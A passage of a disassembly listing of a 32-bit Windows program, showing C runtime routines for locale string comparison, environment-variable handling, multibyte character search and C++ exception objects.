		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_439E22
		xor	eax, eax
		jmp	loc_439EB4
; ---------------------------------------------------------------------------

loc_439E22:				; CODE XREF: sub_439AD0+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41EF80
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_439E64
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh

loc_439E64:				; CODE XREF: sub_439AD0+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_439E6E
		xor	eax, eax
		jmp	short loc_439EB4
; ---------------------------------------------------------------------------

loc_439E6E:				; CODE XREF: sub_439AD0+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F5454	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_439E92
		xor	eax, eax
		jmp	short loc_439EB4
; ---------------------------------------------------------------------------

loc_439E92:				; CODE XREF: sub_439AD0+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F52DC	; CompareStringW
		jmp	short loc_439EB4
; ---------------------------------------------------------------------------

loc_439EB2:				; CODE XREF: sub_439AD0+EBj
		xor	eax, eax

loc_439EB4:				; CODE XREF: sub_439AD0+81j
					; sub_439AD0+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_439AD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439ED0	proc near		; CODE XREF: sub_439AD0+94p
					; sub_439AD0+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx

loc_439EE2:				; CODE XREF: sub_439ED0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_439F07
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_439F07
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_439EE2
; ---------------------------------------------------------------------------

loc_439F07:				; CODE XREF: sub_439ED0+20j
					; sub_439ED0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_439F19
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_439F1C
; ---------------------------------------------------------------------------

loc_439F19:				; CODE XREF: sub_439ED0+3Fj
		mov	eax, [ebp+arg_4]

loc_439F1C:				; CODE XREF: sub_439ED0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_439ED0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_439F20	proc near		; CODE XREF: sub_4396D0+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_439F4C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_43A370
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_439F4C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_439F54

loc_439F4C:				; CODE XREF: sub_439F20+Bj
					; sub_439F20+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_439F54:				; CODE XREF: sub_439F20+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, dword_4F33D4
		cmp	ecx, dword_4F33D8
		jnz	short loc_439F85
		mov	edx, dword_4F33D4
		push	edx
		call	sub_43A280
		add	esp, 4
		mov	dword_4F33D4, eax

loc_439F85:				; CODE XREF: sub_439F20+4Fj
		cmp	dword_4F33D4, 0
		jnz	loc_43A045
		cmp	[ebp+arg_4], 0
		jz	short loc_439FB7
		cmp	dword_4F33DC, 0
		jz	short loc_439FB7
		call	sub_4396D0
		test	eax, eax
		jz	short loc_439FB2
		or	eax, 0FFFFFFFFh
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_439FB2:				; CODE XREF: sub_439F20+88j
		jmp	loc_43A045
; ---------------------------------------------------------------------------

loc_439FB7:				; CODE XREF: sub_439F20+76j
					; sub_439F20+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_439FC4
		xor	eax, eax
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_439FC4:				; CODE XREF: sub_439F20+9Bj
		cmp	dword_4F33D4, 0
		jnz	short loc_43A004
		push	87h
		push	offset dword_43E0F0
		push	2
		push	4
		call	sub_41BE70
		add	esp, 10h
		mov	dword_4F33D4, eax
		cmp	dword_4F33D4, 0
		jnz	short loc_439FF9
		or	eax, 0FFFFFFFFh
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_439FF9:				; CODE XREF: sub_439F20+CFj
		mov	eax, dword_4F33D4
		mov	dword ptr [eax], 0

loc_43A004:				; CODE XREF: sub_439F20+ABj
		cmp	dword_4F33DC, 0
		jnz	short loc_43A045
		push	8Eh
		push	offset dword_43E0F0
		push	2
		push	4
		call	sub_41BE70
		add	esp, 10h
		mov	dword_4F33DC, eax
		cmp	dword_4F33DC, 0
		jnz	short loc_43A039
		or	eax, 0FFFFFFFFh
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_43A039:				; CODE XREF: sub_439F20+10Fj
		mov	ecx, dword_4F33DC
		mov	dword ptr [ecx], 0

loc_43A045:				; CODE XREF: sub_439F20+6Cj
					; sub_439F20:loc_439FB2j ...
		mov	edx, dword_4F33D4
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_43A200
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_43A101
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_43A101
		cmp	[ebp+var_14], 0
		jz	short loc_43A0F3
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41CA10
		add	esp, 8
		jmp	short loc_43A09F
; ---------------------------------------------------------------------------

loc_43A096:				; CODE XREF: sub_439F20+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_43A09F:				; CODE XREF: sub_439F20+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_43A0C0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_43A096
; ---------------------------------------------------------------------------

loc_43A0C0:				; CODE XREF: sub_439F20+189j
		push	0B9h
		push	offset dword_43E0F0
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41C360
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_43A0F1
		mov	edx, [ebp+var_C]
		mov	dword_4F33D4, edx

loc_43A0F1:				; CODE XREF: sub_439F20+1C6j
		jmp	short loc_43A0FF
; ---------------------------------------------------------------------------

loc_43A0F3:				; CODE XREF: sub_439F20+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx

loc_43A0FF:				; CODE XREF: sub_439F20:loc_43A0F1j
		jmp	short loc_43A174
; ---------------------------------------------------------------------------

loc_43A101:				; CODE XREF: sub_439F20+148j
					; sub_439F20+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_43A16D
		cmp	[ebp+var_8], 0
		jge	short loc_43A115
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax

loc_43A115:				; CODE XREF: sub_439F20+1EBj
		push	0CEh
		push	offset dword_43E0F0
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41C360
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_43A149
		or	eax, 0FFFFFFFFh
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_43A149:				; CODE XREF: sub_439F20+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	dword_4F33D4, eax
		jmp	short loc_43A174
; ---------------------------------------------------------------------------

loc_43A16D:				; CODE XREF: sub_439F20+1E5j
		xor	eax, eax
		jmp	loc_43A1FB
; ---------------------------------------------------------------------------

loc_43A174:				; CODE XREF: sub_439F20:loc_43A0FFj
					; sub_439F20+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_43A1F9
		push	0E5h
		push	offset dword_43E0F0
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_43A1F9
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_41F620
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	dword_4F52D8	; SetEnvironmentVariableA
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41CA10
		add	esp, 8

loc_43A1F9:				; CODE XREF: sub_439F20+258j
					; sub_439F20+285j
		xor	eax, eax

loc_43A1FB:				; CODE XREF: sub_439F20+2Fj
					; sub_439F20+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_439F20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A200	proc near		; CODE XREF: sub_439F20+139p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F33D4
		mov	[ebp+var_4], eax
		jmp	short loc_43A217
; ---------------------------------------------------------------------------

loc_43A20E:				; CODE XREF: sub_43A200:loc_43A268j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx

loc_43A217:				; CODE XREF: sub_43A200+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43A26A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_439680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43A268
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43A25A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_43A268

loc_43A25A:				; CODE XREF: sub_43A200+48j
		mov	eax, [ebp+var_4]
		sub	eax, dword_4F33D4
		sar	eax, 2
		jmp	short loc_43A278
; ---------------------------------------------------------------------------

loc_43A268:				; CODE XREF: sub_43A200+37j
					; sub_43A200+58j
		jmp	short loc_43A20E
; ---------------------------------------------------------------------------

loc_43A26A:				; CODE XREF: sub_43A200+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, dword_4F33D4
		sar	eax, 2
		neg	eax

loc_43A278:				; CODE XREF: sub_43A200+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_43A200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A280	proc near		; CODE XREF: sub_439F20+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_43A2A0
		xor	eax, eax
		jmp	loc_43A36A
; ---------------------------------------------------------------------------

loc_43A2A0:				; CODE XREF: sub_43A280+17j
					; sub_43A280+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_43A2BD
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_43A2A0
; ---------------------------------------------------------------------------

loc_43A2BD:				; CODE XREF: sub_43A280+30j
		push	146h
		push	offset dword_43E0F0
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_43A2F5
		push	9
		call	sub_422270
		add	esp, 4

loc_43A2F5:				; CODE XREF: sub_43A280+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx

loc_43A2FB:				; CODE XREF: sub_43A280+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43A35E
		push	14Fh
		push	offset dword_43E0F0
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41BE70
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43A34A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_41F620
		add	esp, 8

loc_43A34A:				; CODE XREF: sub_43A280+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_43A2FB
; ---------------------------------------------------------------------------

loc_43A35E:				; CODE XREF: sub_43A280+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]

loc_43A36A:				; CODE XREF: sub_43A280+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_43A280	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A370	proc near		; CODE XREF: sub_439F20+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F389C, 0
		jnz	short loc_43A392
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41F720
		add	esp, 8
		jmp	loc_43A459
; ---------------------------------------------------------------------------

loc_43A392:				; CODE XREF: sub_43A370+Bj
		push	19h
		call	sub_423280
		add	esp, 4
		jmp	short loc_43A3A7
; ---------------------------------------------------------------------------

loc_43A39E:				; CODE XREF: sub_43A370:loc_43A436j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx

loc_43A3A7:				; CODE XREF: sub_43A370+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43A43B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4F39A1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_43A426
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_43A3F8
		push	19h
		call	sub_423320
		add	esp, 4
		xor	eax, eax
		jmp	short loc_43A459
; ---------------------------------------------------------------------------

loc_43A3F8:				; CODE XREF: sub_43A370+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_43A424
		push	19h
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_43A459
; ---------------------------------------------------------------------------

loc_43A424:				; CODE XREF: sub_43A370+A0j
		jmp	short loc_43A436
; ---------------------------------------------------------------------------

loc_43A426:				; CODE XREF: sub_43A370+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_43A436
		jmp	short loc_43A43B
; ---------------------------------------------------------------------------

loc_43A436:				; CODE XREF: sub_43A370:loc_43A424j
					; sub_43A370+C2j
		jmp	loc_43A39E
; ---------------------------------------------------------------------------

loc_43A43B:				; CODE XREF: sub_43A370+4Dj
					; sub_43A370+C4j
		push	19h
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_43A457
		mov	eax, [ebp+arg_0]
		jmp	short loc_43A459
; ---------------------------------------------------------------------------

loc_43A457:				; CODE XREF: sub_43A370+E0j
		xor	eax, eax

loc_43A459:				; CODE XREF: sub_43A370+1Dj
					; sub_43A370+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_43A370	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A460	proc near		; CODE XREF: sub_40DC67+12p
					; sub_40DCFC+12p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A460
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40DC1A
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_43A610
		push	offset dword_43E450
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_43B240
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A4C0	proc near		; CODE XREF: sub_43A550+10p
					; sub_43A730+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A4C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_43AFC0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DBF4
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_43E110
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A530	proc near		; DATA XREF: .packed:0043E114o
					; .packed:0043E124o ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_40DCD7
		mov	esp, ebp
		pop	ebp
		retn
sub_43A530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A550	proc near		; DATA XREF: .packed:0043E118o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43A4C0
		push	offset dword_43E4C0
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43B240
		mov	esp, ebp
		pop	ebp
		retn
sub_43A550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A580	proc near		; CODE XREF: sub_43A5E0+Ap
					; sub_43A6B0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A580
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_43E110
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40DC3D
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_43B080
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_43A580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A5E0	proc near		; DATA XREF: .packed:off_43E110o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43A580
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43A605
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43A605:				; CODE XREF: sub_43A5E0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A5E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A610	proc near		; CODE XREF: sub_43A460+3Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A640
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E120
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A610	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A640	proc near		; CODE XREF: sub_43A610+Ep
					; sub_43A7C0+Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	[ebp+var_14], ecx
		mov	[ebp+var_10], offset dword_43CF7C
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+var_14]
		call	sub_43AF50
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0Ch
		call	sub_40DBF4
		mov	edx, [ebp+var_14]
		mov	dword ptr [edx], offset	off_43E110
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A6B0	proc near		; CODE XREF: sub_43A700+Ap
					; DATA XREF: .packed:0043E454o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], offset	off_43E120
		mov	ecx, [ebp+var_4]
		call	sub_43A580
		mov	esp, ebp
		pop	ebp
		retn
sub_43A6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A6D0	proc near		; DATA XREF: .packed:0043E128o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_43A730
		push	offset dword_43E450
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_43B240
		mov	esp, ebp
		pop	ebp
		retn
sub_43A6D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A700	proc near		; DATA XREF: .packed:off_43E120o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		call	sub_43A6B0
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_43A725
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_420B80
		add	esp, 4

loc_43A725:				; CODE XREF: sub_43A700+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A700	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A730	proc near		; CODE XREF: sub_43A6D0+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		call	sub_43A4C0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], offset	off_43E120
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	4
sub_43A730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A760	proc near		; CODE XREF: sub_40DD57+17p
					; sub_40DFD6+Ep

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_43A760
		mov	eax, large fs:0
